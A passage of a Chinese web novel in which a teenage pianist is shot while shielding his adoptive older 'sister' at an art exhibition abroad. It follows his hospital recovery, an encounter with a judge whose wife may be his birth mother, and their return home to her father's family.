沈知逸受不了她这幅样子，不自觉往前挪了一点，无意间拉近他们之间的距离。
黎娜察觉到他的小动作，不动声色地后退了一些。
沈知逸失落地垂下眸子：“好久是多久？”
黎娜想了一会，语气很随意：“三年吧。”
连分开了多久都记不清楚，沈知逸委屈得要命：“你三年不回家，你都不想我吗？”
黎娜笑而不语。
沈知逸看她一直在笑，心里又难过又生气，慢慢朝她走过去，再次把距离拉近。
黎娜不再往后退，因为这样就好像是她怕了，她不想让自己落于下风，于是抬头挺胸地站在原地，挺拔而有力量如同一棵雪松。
他们之间的距离还剩下半米，黎娜往后挪了一分，鞋跟碾压地面发出轻微的刺耳声音。
沈知逸停下来，把手放在头顶，在她身上比划了一下，脸上雨过天晴，抬眸望着她笑，有点得意的样子。
“如果姐姐你现在不穿高跟鞋的话，我就跟你一样高了。”
黎娜眉心微皱：“幼稚。”
沈知逸笑容消失，仿佛被这两个字刺痛了，他明明都长得这么高了，可是在姐姐面前，怎么还是跟以前那个小孩一样，他真的不小了啊！
沈知逸不悦地嘟囔着：“我都十七岁了，再过一年我就成年了……”
黎娜“嗯”了一声，并不在意。
沈知逸退回原来的位置，把黎娜从头到脚都看了一遍，还是那么好看，本来就长得高身材也好，现在穿着肤色的丝绸长裙和细高跟鞋，身体曲线曼妙有致，浓密的卷发垂在胸前，胸口皮肤很白，隐约看到一颗红色的小痣。
沈知逸的脸瞬间红了。
黎娜意识到他刚才在看什么，一下子就恼了，把领口往上提。
沈知逸看到她的动作，耳朵和脖子也红了，那张脸更是红得几乎要滴血。
黎娜剜他一眼：“就你一个人来的？”
沈知逸开口正要说话，走出去很远的音乐老师回头一看，发现他竟然落下那么远，大声喊他。
“沈知逸，快跟上来，别走丢了！”
“好的，老师，我马上过来！”
沈知逸说完，转回身来，重新看向黎娜，刚才还亮晶晶的眼睛现在黯淡下去，很不舍得地看着她，像一个想要吃糖果，却被家长叫走的小孩，可怜兮兮的，让人心疼。
黎娜移开视线：“回去吧。”
沈知逸跑走了。
黎娜愣住，垂眸笑了一下，感觉他跑出去很远了，这才回头看向
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他，结果就看到他跟老师指着她的方向在说些什么，然后老师点头，好像嘱咐了他一些事情，他就又跑回来了。
沈知逸再次来到她面前，笑得特别开心，像一只小柴犬。
“我跟老师说了，我想跟姐姐待一会，她给了我半个小时的时间。”
黎娜双手环胸：“我没空管你。”
沈知逸毫不在意：“没关系啊，我不用你照顾我的，我就想跟你待会儿，可以吗，姐姐？”
黎娜不置可否，径自在展览里逛了起来，偶尔有能吸引到她的作品，她就停下来，看得特别认真。
沈知逸也看得特别认真，不过是在看黎娜，安安静静的没有说话，不打扰她，默默跟在她身后。
能看到她，对于沈知逸来说就已经很幸福了。
这种幸福的感觉并没有持续多久，展览里就响起“砰”的一声，有点像老式鞭炮爆炸的声音，震耳欲聋，紧接着又响了好几声，距离越来越近。
沈知逸还没有搞清楚状况，他垂在身侧的手就被人紧紧握住，很柔软细腻的触感，他垂眸看去，眼睛微微睁大，不可置信地看向黎娜。
“姐姐……”
黎娜面色严肃，拉着他的手找地方躲避。
“这是枪声，不要乱跑。”
沈知逸立刻握紧她的手，变得警惕起来，小声问：“是真枪吗？”
黎娜：“嗯，打到要害会死，你要跟紧我，我知道哪里安全。”
沈知逸“哦”了一声，看着黎娜冷静的侧脸，仔细感受着她掌心的温度，嘴角上翘。
枪声停止，黎娜松了口气。
“没事了，应该被警察抓——”
她话还没说完，前方拐弯处出现了一个金发男人。
看到黎娜，他双手合十，用英语说了句“上帝会救赎你”，便从口袋里拿出一把枪，漆黑的枪口指向黎娜。
黎娜瞪大双眼。
“砰！”
在火光乍现的刹那之间，黎娜腰间一紧，整个人从后面被紧紧抱住，眼前事物飞速旋转，她鼻尖充斥着一股洗衣液的香味，脑袋被人用手严严实实地捂住，她从指缝中看到了沈知逸清澈的眼睛。
“砰！”
又是一声枪响。
沈知逸左边手臂剧烈震颤了一下，有鲜血喷溅出来。
黎娜看到了，瞳孔缩成一个小点，紧接着捂在她脑袋上的手垂落下去，她脸贴着沈知逸的胸膛，听到他倒吸冷气的声音，脸色瞬间惨白。
“沈知逸……”
沈知逸深吸口气：“我没事。”
黎娜看向溅到墙壁上的血。
“那是你的血。”
“嗯，但是我一点都不疼。”
黎娜不知怎么的，忽然笑出来，眼前一脸模糊。
“骗人，怎么可能不疼。”
“真的不疼啊，姐姐。”
沈知逸嘴唇发白，单手抱紧她，那条手臂脱力地垂在那里，血一直在往下滴，止不住。
警察拿着枪跑过来，在金发男人再次开枪之前，就干净利落地把他射杀了。
黎娜打电话叫救护车，把裙子撕下来一块，给沈知逸包扎止血。
音乐老师也过来了，看到沈知逸渗血的手臂，发出一声尖叫。
“天哪！沈知逸，你手臂中枪了吗！我刚收到你进入决赛的消息！”
51. 公狗觉醒
救护车里。
黎娜和音乐老师坐在旁边，陪着沈知逸。
医护人员在沈知逸身上贴了一些五颜六色的线，监护仪上出现了一些数据。
黎娜看向医护人员：“他手臂上那块布是我随便绑的，你最好帮他再处理一下伤口。”
毕竟她不是专业的。
带着口罩的医护人员说：“这样就很好，没问题的。”
黎娜不太放心，对音乐老师说：“你还有学生也在展览里吧，你跟过来了，他们没事吗？”
音乐老师放下手机：“没事，我跟我同事说了，他们把那些学生带回去。”
黎娜点头，轻轻地吐出口气。
沈知逸躺在单人床上，手臂渗出的血染红了那块布料，他用那个没受伤的手，慢慢靠近黎娜，直到指尖碰到黎娜的手背上，才停住不动了。
黎娜手指一颤，垂眸看向他。
他咧着嘴朝她笑，眼睛失去了神采，如同一颗磨砂的黑玻璃珠，虚虚地望着她，脸色似乎更白了一点，但嘴角笑意依然不减。
黎娜凝视着他，眼睛深处有某种东西被撕碎，有新的东西挣脱出来又被理智束缚回去。她撇开脸，睫毛垂下，再抬眼时，已恢复到往常的平静。
“笑什么，不疼吗？”
沈知逸见她手还放在那里，没有躲开他的触碰，便开始得寸进尺，手指往下移，陷入她的指缝里，轻轻地勾住她的手指头。
“真的不疼，我很能忍疼的。”
黎娜手指往回缩。
沈知逸看着她的手，睫毛根根分明，又黑又浓，跟个黑羽毛扇子一样，眸光有些涣散。
“我小时候一直都在痛……”
“饿得肚子疼，冻得手疼脚疼，生病的时候没有药吃，只能硬抗过去，还有那个害我被警察抓走的坏人，他总是打我，还抢我吃的……”
是啊，沈知逸以前受了那么多的苦。
她还把沈知逸推下楼，用车门不停砸他的后背，扇他的脸……
黎娜抬眸看向窗外，脸侧过去，被卷发盖住。
沈知逸从她卷发的缝隙里，看到她眼睛里有液体汇聚起来，挂在眼睑处晃动着，车子一震，便滚落下来划过脸颊，她抬起手撩头发的瞬间，迅速用手背擦去，嘴角颤抖往下撇。
沈知逸握紧她的手。
“不要哭啊，姐姐。”
黎娜身形一顿，轻轻吸气。
沈知逸笑着说：“其实我挺开心的，因为我也能保护你了，没有让你受伤，我真的特别有成就感。”
黎娜眼泪再度失控，看着窗外，声音哽咽。
“可是，你还要弹钢琴。”
看到她哭，沈知逸眼眶也跟着泛红，故作轻松道：“没关系啊，我没有那么喜欢弹钢琴的，只是身边的老师都说我有天赋，我就想以后发展成职业也不错，要是真的不能弹了，我去做其它的事情就好了。”
黎娜眉心皱起，一时分不清他是真的不在意，还是怕她愧疚。
音乐老师叹气：“到了医院再看吧，要是以后真的不能弹钢琴了，那就太可惜了。”
音乐老师后悔莫及，早知道不带学生去艺术馆了。
到医院急诊室，医生把沈知逸手臂里的子弹取出来。
说不疼是骗黎娜的。
刚中枪的时候确实没有痛感，只能感觉到一阵极其强大的冲击力，把他那条手臂都震麻了，等麻木感渐渐消下去，那个伤口传来强烈的灼烧感，就开始痛起来了，痛到他意识涣散，几乎要晕死过去，比他以前经历过的所有痛加起来，还要再痛上一百倍。
然后他就会想，幸好这颗子弹打到他身上了，没有打到姐姐，姐姐肯定受不了的。
沈知逸眼泪涌出来，顺着眼角往下流淌。
医生给他清理伤口，冰冷的镊子每碰到他一下，他身体就会紧绷发抖。
其实，他真的很害怕。
急诊室外面。
黎娜手机震了一下。
黎父：【跟知逸出去玩了吗？】
黎娜咬着大拇指，心想这么大的事情肯定瞒不住的。
黎娜：【没有。】
然后拍了张急诊室的照片发过去。
黎娜：【沈知逸被子弹打到了，在手臂上。】
许久没有动静。
黎娜正准备关掉手机，黎父就一个电话打过来。
黎娜很烦躁，却不得不接。
按下接听键，黎父焦急的声音传过来。
“娜娜，你没有打错字吧，知逸被子弹打到手臂了？他不是去参加钢琴比赛了吗，手受伤了怎么办，天哪，这孩子肯定很疼……”
黎娜抿唇：“他本来不会受伤的。”
黎父：“为什么这么说？”
黎娜：“那个人的枪是对准我的，沈知逸给我挡住了，不然我可能已经死了。”
她说完，黎父沉默了。
黎娜：“我不应该画画的对吧，每次我画画，就会有不好的事情发生，弟弟是这样，沈知逸也是。”
黎父：“娜娜，你回来吧，国外太危险了，还是国内安全，家里又不需要你挣钱，作为父亲，我只希望你这辈子能平安快乐。”
黎娜走到窗边，眼泪有些控制不住。
“可是我不想一直活在你的羽翼之下，我想让别人记住我的名字，而不是每次看到我，都说我是你的女儿，我不想这样。”
黎父叹了口气：“那行吧，你继续在国外待着吧，注意安全，知逸也别急着回来，等养好了伤，你跟他一起回来，你都快三年没回来了。”
黎娜想了一会：“好。”
黎父认真地说：“你永远是你自己，不是谁谁谁的女儿，娜娜，我永远以你为骄傲，我很自豪能有你这么优秀的女儿。”
黎娜眼眶湿热：“嗯。”
黎父：“照顾好自己，没钱了就跟我说，别忘了跟知逸一起回来。”
黎娜：“知道了。”
黎父：“嗯，挂掉吧。”
通话结束。
黎娜去卫生间卸掉妆，洗了把脸。
等回来的时候，急诊室的门开了，沈知逸被医护人员推出来，送到病房。
黎娜和音乐老师寸步不离。
黎娜问医生：“他手臂情况怎么样？”
医生：“那颗子弹取出来了，位置比较偏，没有伤到骨头，要让他好好修养。”
音乐老师问：“会留下后遗症吗，实不相瞒，这个小孩是弹钢琴的，非常有天赋，以后会不会影响到他弹钢琴？”
医生思索了一会：“这个我就不能保证了，这颗子弹损伤到了他的神经和肌肉，恢复完之后，可能会造成一些功能缺失，不可能像之前那样灵活自如的。”
音乐老师如遭雷劈，丢了魂似的喃喃道：“都怪我，我不该带他们去艺术展的……”
黎娜垂
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眸：“跟你没有关系。”
这颗子弹本来是打到她身上。
如果沈知逸将来不能弹钢琴了，恐怕她这辈子都不能心安理得地去追求她的梦想了。
因为在她追求梦想的同时，总会想到有一个小男孩为了她，失去了自己的梦想。
沈知逸在医院里住下来，错过了决赛。
音乐老师带着学生准备回去了，临走之前又来探望了他一次。
他状态挺好的，能吃能喝，还能对着他们笑。
可是他越笑，音乐老师心里就越难受。
艺术展结束后，黎娜推掉所有工作，每天两点一线，往返于医院和家之间。
沈知逸靠在床头，眼睛亮晶晶，看着黎娜手里的水果碗，仿佛一只等待主人投喂的巨型犬。
黎娜把碗递给他：“吃吧。”
沈知逸说：“我不能动，一动就疼。”
黎娜举着碗：“……”
沈知逸用充满期待的眼神看着她，仿佛在发射金黄色的小星星。
“真的会疼，姐姐，你喂我吧，好不好？”
他张开嘴巴，露出里面洁白的牙齿，粉嫩的舌尖，嘴唇肉肉的，特别可爱。
黎娜心软了，看着沈知逸这副样子，心真的很难硬起来。
她俯下身，用叉子插了一颗树莓，放进沈知逸嘴巴里。
沈知逸轻轻含住，抬头看着她，慢慢往后退，把树莓从叉子上摘下来，细嚼慢咽。粉紫色的树莓汁渗出来，溢到他苍白的嘴唇，染上一片鲜艳的红色。
“好好吃，姐姐，你也尝一个。”
叉子上有些亮晶晶的水渍，黎娜眉心微皱，想都没想就拒绝了。
“我才不想吃你的口水。”
话一出口，她才意识到这句话有多暧昧。
沈知逸也愣住了，随即笑得眼睛都弯了，脸也红红的。
怎么办啊，姐姐真的好可爱哦，怎么会这么可爱呢，真希望世界上有一种魔法，能把姐姐变小放到口袋里，去哪里都带着，想姐姐了，就把姐姐拿出来看一眼再放回去。
吃完水果，沈知逸想出去溜达。
黎娜瞥他一眼：“刚才不是还说，一动就疼吗？”
沈知逸低下头，颇为心虚：“那是刚才，现在又不疼了，我们出去散步吧，好不好，姐姐？”
黎娜看着窗外：“……”
沈知逸看着她：“姐姐？”
黎娜站起身来，出去了，没一会又回来了，手里推着一个轮椅。
沈知逸问：“这是给我坐的吗？”
黎娜说：“不是，给我自己坐的。”
沈知逸一下子就紧张起来了，用目光检查她：“你也受伤了？”
黎娜：“没有。”
沈知逸：“那你为什么要坐轮椅？”
黎娜深吸口气，扶着额头，忍无可忍道：“沈知逸你是不是傻，这个地方除了你，谁还要需要坐轮椅？能不能别问一些很没脑子的问题！”
她刚才还好好的，现在突然开始发脾气，弄得沈知逸有些无措，很害怕看到她对他不耐烦的样子，于是垂下眸子，小声嘟囔着：“你好凶……”
黎娜沉沉地吐出口气。
沈知逸抠着手指头：“姐姐，你是不是觉得我很烦，不想照顾我了，没关系的，你要是有事你就去忙吧，不用管我的，我自己一个人也可以的……”
说着说着眼眶就红了。
52. 公狗觉醒
他都这么可怜了。
黎娜开始后悔自己一时没控制住情绪，对沈知逸发脾气。
明明是为了保护她，沈知逸才变成这样的，她还……
唉，不应该对他不耐烦的。
黎娜抬起手，落下一片阴影，她撇开脸看向窗外，手放到沈知逸低垂的脑袋上，轻轻地揉了揉。
“对不起。”
如一片绿叶落到湖面上，荡起阵阵涟漪。
沈知逸瞪大双眼，瞳仁微颤，整个人僵在床上。
姐姐竟然会跟他道歉。
沈知逸心里瞬间软得一塌糊涂，乖乖让她摸，还歪着脑袋偏向她，让她摸得顺手一点，用脑袋去轻蹭她的手心，心里特别满足。
卷毛被黎娜揉得乱七八糟的，沈知逸一点都不在意，闷声闷气地说：“我才要说对不起，又给你添麻烦了，你去忙吧。”
瞧瞧，多乖的小孩！
她是个什么东西啊！
黎娜把轮椅推到床边，过去握住沈知逸的胳膊，想把他扶起来。
沈知逸抬眸望着她：“你要干什么？”
黎娜说：“你不是想出去散步？”
想到黎娜刚才对他发脾气的样子，沈知逸歪过身子，背对着她，任她怎么拽都不动弹，有点赌气的样子。
“我又不想去了，你不要动我……”
黎娜拽住他的胳膊，用力往上提，使了半天的劲，他连动都没动，依然稳稳地坐在那里。
黎娜擦了把汗，气喘吁吁地看着他，一脸不悦。
“你好重，不像我刚捡到你那会，一弯腰就能把你抱起来。”
沈知逸脸都黑了：“那你现在再抱我试试看？”
黎娜冷笑：“你想得美。”
沈知逸嘴角微翘：“姐姐，你信不信，我能把你抱起来？”
黎娜瞪向他：“你欠抽了。”
沈知逸忍着笑：“真的，等我胳膊好了，要不要比赛，看看是我能把你抱起来，还是你能把我抱起来，姐姐，你敢不敢跟我比？”
他在故意激她答应，她怎么会看不出来，冷嗤一声。
“你幼不幼稚，还比赛……”
沈知逸哼了一声：“你怕了，你不敢跟我比。”
黎娜：“……”
谁说她不敢了？
她肱二头肌那么大，露出来能迷倒万千少女，她哪里不敢比了？
她那是不想让沈知逸占便宜。
她真的，超级有实力的！
最后，沈知逸没再为难她，自己就下床了，也没坐轮椅，和黎娜在医院里溜达。
黎娜今天没穿高跟鞋，跟沈知逸差不多高，两人并肩走在一起。
黎娜抱着手机，跟温琳吐槽。
黎娜：【我真无语了，他还敢挑衅我，说我力气没有他大，还说我不敢跟他比赛。】
温琳：【小知逸好拽哦。】
黎娜：【包/皮都是我带他去割的，他在拽什么啊，我现在都记得他捂着□□不敢让医生碰的样子。】
温琳：【哈哈哈哈哈哈哈。】
温琳：【不对，你怎么会知道他捂着□□的样子，你看着他割的？！】
黎娜：【……不是，医生跟我说的。我看他割包/皮干什么，跟变态一样。】
温琳：【你不就是变态。】
黎娜：【……】
黎娜：【绝交，再见！】
信息发送出去，沈知逸突然凑过来。
黎娜迅速按灭手机，揣进口袋里，目视前方，忽视身旁沈知逸投过来的视线。
沈知逸问她：“你在跟谁发消息？”
黎娜：“……”
沈知逸盯着她：“男的？”
黎娜：“你管那么多？”
沈知逸闭上嘴巴，看着自己的脚尖。
“姐姐，你到底交往过几个男朋友……”
他声音很轻，似乎还没有想好要不要问这个问题，害怕惹黎娜生气，但是又特别想知道。
黎娜步伐一顿，掰着手指头数了半天，憋出一句：“我哪知道。”
沈知逸深吸口气：“多到数不清？”
黎娜：“还好。”
幸好温琳不在，不然绝对会残忍地揭穿她。
沈知逸落寞地垂下眸子，不再说话了。
医院里有一个水池，很多病人在那里晒太阳。
沈知逸在这群人里看到一抹熟悉的身影。
卷头发，亚洲面孔，是之前坐在评委席中间的那个中年男人。
Eason穿着米白色的上衣，套着一件同色系的外套，宽松的黑色运动裤显得随性又慵懒，不像上次在歌剧院，穿着工整的黑色西装，此刻的他看起来多了几分烟火气。
他手里牵着一个披头散发的女人，五官生得极好，有点像混血，就是黑眼圈很重，皱纹明显，目光落到虚空中，没有神采，很呆滞，也很憔悴，穿着宽大的病服，身上没什么肉。
Eason和女人朝沈知逸的方向走过来，但是他们都没有注意到沈知逸。
等走近了，那个憔悴的女人看到沈知逸，涣散的目光突然聚焦起来了，死死地盯住沈知逸，不可置信地张大了嘴巴。
沈知逸被她盯着浑身不自在，往黎娜身后躲。
黎娜偏过脸去，看向他。
“怎么了？”
沈知逸朝那个女人看了一眼，就立刻移开视线，压低声音说：“那个阿姨好奇怪，一直在瞪我……”
黎娜顺着他的目光看去，发现是一个精神状态很不好的女人，轻声道：“可能精神方面有些问题，别害怕。”
沈知逸“嗯”了一声，轻轻捏住黎娜的衣摆，嘴角上扬。
他们之间距离越来越近，几乎要擦肩而过。
那个女人好像感应到了什么，突然伸手抓住沈知逸的胳膊，Eason也看过来了，这才发现沈知逸，不禁愣了一下。
“沈知逸？”
沈知逸露出笑容：“你好，评委叔叔。”
Eason也笑：“你好。”
他握住女人的胳膊，轻轻往下扯，温柔地哄着她。
“Sofia，松手好吗？听话。”
Eason把她的手摘下来，她又握上去了，于是又摘下来，她又握上去，布满血丝的眼睛一眨不眨地盯着沈知逸。
沈知逸一直在回避她的视线，因为她眼神中感情太沉重了，让他感到窒息，胸口也很难受，仿佛压了一块大石头，上不来气。
沈知逸说：“没关系的。”
黎娜皱着眉提醒：“他左边手臂中枪了，注意不要碰到他的伤口。”
Eason立刻收回手：“怪不得你没有来参加决赛，原来是手臂受伤了，医生怎么说的，严重吗？会不会影响到以后弹钢琴？”
沈知逸不知道该怎么回答，看向身旁的黎娜。
黎娜说：“要等他彻底恢复好之后在看。”
Eason叹了口气，握住女人的手。
“Sofia，我们该走了，你快点松开他，你要把他抓疼了。”
Sofia这才松开沈知逸，但眼睛还在盯着他。
Ea
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son很抱歉地朝他们笑了笑：“我太太精神方面有些问题……”
沈知逸和黎娜回以宽容的微笑，表示并不介意。
Sofia忽然捂着脸哭了起来，整个人缩进Eason的怀里。
Eason心疼地抱住她，眼睛微微发红。
Sofia哽咽道：“不要他走，不要他走，我的，是我的……”
Eason轻拍她的后背：“不要着急，Sofia，我们慢慢来，不要吓跑人家，好不好？”
那个评委席上冷淡严肃的男人，此刻抱着怀里的女人，低头吻着她的头发，语气温柔得像是在跟小孩说话。
看他们这样，沈知逸心里莫名有些难受。
他看向身旁的黎娜。
黎娜一点反应都没有，就面无表情地看着他们，跟看路上这些陌生人没什么两样。
Eason搂着女人的肩膀，临走之前，忽然拿出手机，再次来到沈知逸面前。
“沈知逸，我们能不能互相留个联系方式？”
黎娜立刻警觉起来，冷眸瞪向Eason：“要联系方式干什么？”
沈知逸扯了扯她的袖子，在她耳边小声说：“姐姐，你不要这么凶，他是比赛的评委，听老师说他很厉害的……”
说着就拿出了手机。
Eason也意识到自己的行为过于亲近了，开始为自己解释：“这个孩子非常有天赋，错过了很可惜，所以我想留个他的联系方式，可以吗？”
他真诚地看着黎娜，试探性开口：“请问你是沈知逸的……”
黎娜说：“我是他姐姐。”
Eason：“是亲姐姐吗？”
黎娜一愣，盯着他的眼睛。
他不躲不避，回视着她。
许是年龄和阅历的压制，她最先败下阵来，垂着眸子说：“不是。”
Eason眼睛一亮。
黎娜心中忽然萌生出一种荒谬的猜想，又补充道：“他是我捡回来的。”
Eason笑了：“那你们之间很有缘分。”
沈知逸听到这话特别开心，又去看黎娜，结果就看到黎娜眉心紧皱，心不在焉，似乎在被一些事情所困扰。
他还没来得及多想，脑袋上就落下来一道重量，轻轻地揉了揉。
其实沈知逸不喜欢被除了姐姐之外的人摸脑袋，但是眼前这个男人，他竟然不排斥，还由着他揉了好几下。
互相加完微信，Eason说：“希望你能快点康复，如果以后有不懂的问题，可以随时过来找我。”
沈知逸受宠若惊：“谢谢叔叔！”
Eason笑容温柔，把怀里的女人轻轻往前一推。
“可以跟这个阿姨也说一声谢谢吗？”
沈知逸毫不犹豫：“谢谢阿姨，也希望你能早日康复，天天开心。”
女人朦胧的泪眼望着他，眼泪止不住。
Eason搂住她的肩膀，带着她离开了。
黎娜看着他们的背影。
“沈知逸，你从来没有想过自己的亲生父母吗？”
“我感觉那两个人……不太对劲。”
沈知逸有些云里雾里：“什么意思，你是说，他们是我的爸爸妈妈？”
黎娜轻吸口气：“不确定，这是我的直觉，说不定他们也有和我一样的直觉。”
刚才那个男人问她，是不是沈知逸的亲姐姐，真的太奇怪了，越想越奇怪。
沈知逸说：“不会吧，我现在记不清我妈妈的脸了，但是我能肯定，我妈妈不长她那样。”
53. 公狗觉醒
在医院养了一个半月的伤，沈知逸手臂上的纱布拆掉了，伤口处结着很厚的血痂，在上臂外侧的位置。
疗养期间，他的一日三餐都是黎娜做好送过来的。
以前黎娜十指不沾阳春水，近几年来她学会了做饭，也不能说学会了，因为她做的都是不需要技术含量的白人饭。
担心沈知逸伤口恢复得不好，黎娜选择食材特别小心，避开了所有发物，把一切会让伤口发炎的可能性都扼杀在了摇篮里。
如她所愿，沈知逸恢复得非常好。
出院那天，沈知逸来到黎娜的住处。
一进门，记忆中的那抹甜甜的花香味扑面而来，让他特别安心。
黎娜单手扶着墙，侧过身弯下腰，解开高跟鞋上的扣子，然后一脚把鞋踢飞，光着脚踩着地上，脚趾白皙纤瘦，涂着奶蓝色的指甲油。
沈知逸垂着眸子，偷偷用余光看她的脚，脸颊浮现出一抹红晕。
黎娜打开鞋柜，拿了双拖鞋出来扔到地上，两脚里面一伸，趿拉着就走进去了。
“这里没有你穿的拖鞋，你光着脚进来。”
“好。”
从她骨感的脚踝上收回视线，沈知逸脱掉运动鞋，摆整齐放好。
看到黎娜的高跟鞋还倒在地上，他蹲下来，把它们拼凑成一双放进鞋柜里，这才满意地走进去。
客厅里，黎娜仰头喝冰水，汗珠顺着脖子往下流，微凸的喉结上下滚动，卷发黏在脸上。
沈知逸眼睛跟扫描仪一样，把视野之内的所有区域都扫描了一遍。很好，没有发现男人居住过的痕迹。
一瓶水很快见底，黎娜捏扁瓶子，歪三倒四地坐到沙发上，抬眸看向杵在客厅里的沈知逸，有些意兴阑珊的样子。
“下午三点的飞机，你把行李收拾好。”
沈知逸眼睛亮晶晶的：“姐姐，你真的要跟我一起回去吗？”
黎娜闭着眼睛，“嗯”了一声。
沈知逸看她一直不动，有些不安地问：“那你怎么不收拾行李？”
不会是在骗他吧……
黎娜眉心微皱：“我回去不了几天，没必要收拾，你别说话了，我睡一会儿。”
沈知逸：“……哦。”
他在角落里找到自己的蓝色行李箱，打开里翻了一遍，没什么好收拾的，所有东西都在里面。
他朝沙发另一侧走过去，路上脚底被某种坚硬的东西狠狠地硌了一下，又痒又痛，差点让他惨叫出声，他单手抱住那只被硌到的脚在客厅里跳来跳去，还要咬紧后槽牙不能让自己发出声音吵到黎娜睡觉。
垂眸看向那个罪魁祸首，原本怒气冲冲的，但目光接触到一个可爱的小熊发绳，他愤怒的情绪顷刻间全部消失，弯腰捡起来放到手心里。
“咳！”
沙发上传来一道咳嗽声。
吓得沈知逸手心一抖。
黎娜看着那个小熊头绳。
“像我这种上了年纪的人，都会比较喜欢可爱的东西。”
沈知逸拼命压住上扬的嘴角，最后实在压不住了，只能背过身去，在心里尖叫：姐姐真的好可爱啊！会用小熊头绳诶！
沈知逸深吸口气，特别认真的样子。
“你一点都不老啊。”
黎娜：“我都快三十了。”
沈知逸一脸严肃：“真的不老，如果你不说自己的年纪，别人还以为你才十八岁……”
黎娜笑出声：“十八岁？”
沈知逸用力点头：“嗯！”
黎娜笑得肚子疼。
看来她的年纪是真大了，以前被人说小会生气，现在被人说小，笑得跟傻逼一样。
在她笑的时候，沈知逸迅速把小熊头绳塞进行李箱里，用衣服盖住，如同一只宠物狗叼走了主人的贴身物品挖坑埋好，那是属于他一个人的秘密宝藏。
到下午三点，黎娜和沈知逸准时登机。
经过十四个小时，飞机落地了。
黎娜一直在蒙着毯子睡觉。
沈知逸没有睡，打起十二分的精神，飞机一落地，就去叫黎娜起来。
结果他掀开毯子，就看到黎娜睁着眼睛，还睁得特别大，直挺挺地躺在那里，把他吓了一跳。
“姐姐，你醒了？”
黎娜打哈欠，伸懒腰。
“嗯，走吧。”
他们一起下飞机，去认领托运的行李。
黎娜手机响个不停。
不用猜都知道是谁发过来的，黎娜拿出来一看，还真让她给猜对了。
黎父：【下飞机了吧，我来接你们了。】
黎父发来一张图片。
黎父：【我在这里，你和知逸在哪呢？】
黎父：【娜娜，看到信息了吗？看到回复我一下。】
除了黎父，还有张阿姨。
张阿姨：【娜娜，你爸爸去接你了。】
张阿姨发来一张图片。
张阿姨：【饭已经做好了，就等你们回来吃了。】
张阿姨：【跟你爸爸回来吃饭，弟弟很想你们。】
看着这些信息，黎娜脑仁子都疼了。
她找到黎父图片中的位置，就看到黎父拿着手机站在那里，抬头四处张望，有点像跟大人走丢的小孩，看上去颇为滑稽。
她正准备走过去，沈知逸就抬起那条没有受伤的手臂，在空中乱挥，边挥边喊。
“黎叔叔！我和姐姐在这里！”
黎娜：“……”
黎父视线一下子就过来了，看到他们姐弟两个，笑得合不拢嘴，眼角皱纹都深刻了，大步朝他们走过来。
这么多年没见，黎娜在心里酝酿着等会要说的话。
结果黎父走过来，连看都没看她一眼，许是在生气她这么多年都不回来。
黎父围着沈知逸转了好几圈，仔细打量着他的手臂。
“恢复好了吗，会不会落下后遗症？要是以后不能弹钢琴了，那就真的太可惜了！”
黎父不停地唉声叹气。
沈知逸无所谓地笑了笑：“没关系的，我觉得我还能弹。”
黎父又叹气：“那就好。”
他和沈知逸走在前面。
黎娜在后面看着他们的背影。
以前那个单薄瘦弱的小男孩，现在都比黎父高出半个头了，那么挺拔，朝气蓬勃，跟小时候完全不一样了。
回想起捡到沈知逸的那个除夕夜，她把他送到医院里，那时候医生是怎么说的来着。
冻疮很严重，头发里都是虱子，肚子里有寄生虫，长期营养不良……跟条流浪狗似的。
现在，她救回来的这条流浪狗平安健康地长大了，而且还非常优秀，她真的特别有成就感。
走在前面的黎父说：“以后再去美国，你就在曼哈顿待着，那里治安比较好，其他地方都不要去。”
沈知逸乖巧地点头：“嗯，下次再去，我提前穿好防弹衣！”
黎父哈哈大笑。
黎娜也跟着笑了。
回到
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黎父的住处，是弟弟来给他们开的门。
张阿姨笑呵呵的，站在他身后，教他认人。
“这是姐姐，说姐姐好，欢迎回家。”
弟弟今年快五岁了，吐字比小时候清晰多了，用稚嫩的小奶音喊：“姐姐好，欢迎回家。”
黎娜对这个将来会分走自己一半财产的小屁孩没多少热情，冷淡地“嗯”了一声，有点不耐烦的样子。
弟弟看她摆着一张臭脸，用肉肉的小手捂住嘴巴，笑个不停，扑进张阿姨怀里，有点害羞，偷偷用眼睛瞟黎娜。
黎娜冷酷地盯着他：“……”
他偷看又接触到黎娜的视线，再次将脸埋到张阿姨腿上，哼哼唧唧的。
“姐姐，漂亮……喜欢姐姐……”
沈知逸上扬的嘴角耷拉下来。
黎娜快绷不住了，把这辈子所有的伤心事都想了一遍，轻轻地深吸口气，再次稳住冷酷的表情。
张阿姨捂着嘴笑：“那当然啦，你姐姐之前可是国际超模，当然漂亮啦，还用你说。”
弟弟咬手指：“超模是什么？”
沈知逸说：“超模是一种职业，要长得特别漂亮，身材特别好的人才能当。”
弟弟：“哦，那妈妈不能当，妈妈肚子上有肉肉，三层肉肉……”
张阿姨：“……”
黎父：“哈哈哈哈哈哈哈哈！”
吃饭的时候，弟弟非要坐在黎娜和沈知逸中间。
黎娜没什么反应，把小屁孩当空气。
沈知逸心里委屈得要命，但又不能表现得太过明显，只能装出一副毫不在意的样子吃饭。
三个孩子坐一排，面前都是好吃的荤菜。
黎父伸着筷子夹了好几次，离得远不方便，想把荤菜端过来，被张阿姨一把按住。
“你就吃点素的吧，晚上少吃一点，你现在这个年纪要控制自己的食量，不然容易高血压的。”
“娜娜他们多吃点没事，还年轻，吃多少都能代谢出去，还不长肉，你看看娜娜，身材保持得多好呀，一直这么苗条。”
黎娜笑了一下，没说话。
黎父满面愁云：“是啊，咱们娜娜个子高，长得也漂亮，怎么一直没有男朋友呢，是不是太优秀了，他们都不敢追啊。”
黎娜慢悠悠地喝了口弟弟倒的椰子汁，然后把杯子放回去。
看到杯子里还剩下一半的椰子汁，弟弟立刻满上。
沈知逸气得牙痒痒。
这个小屁孩……
以后再也不抱他举高高了！
张阿姨说：“你着急也没用，现在的小孩都不谈恋爱不结婚，又不止娜娜一个人这样。再说了，你怎么知道娜娜没有男朋友啊，娜娜在国外待了那么多年，肯定谈过吧，那是没跟你说。”
黎父眼睛一亮：“是吗，娜娜，你在国外谈男朋友了？”
黎娜冷笑：“我谈个鬼。”
黎父也笑：“我女儿就是厉害，连鬼都能谈。”
张阿姨笑得肩膀颤抖。
沈知逸放下筷子，突然开口：“黎叔叔，姐姐谈过几个男朋友，你知道吗？”
黎娜眼睛一瞪，暗道不秒。
黎父说：“她哪来的男朋友？我就没见过她谈恋爱！每次让她快点去谈一个，她就让我闭嘴。”
黎娜扶额，心如死灰。
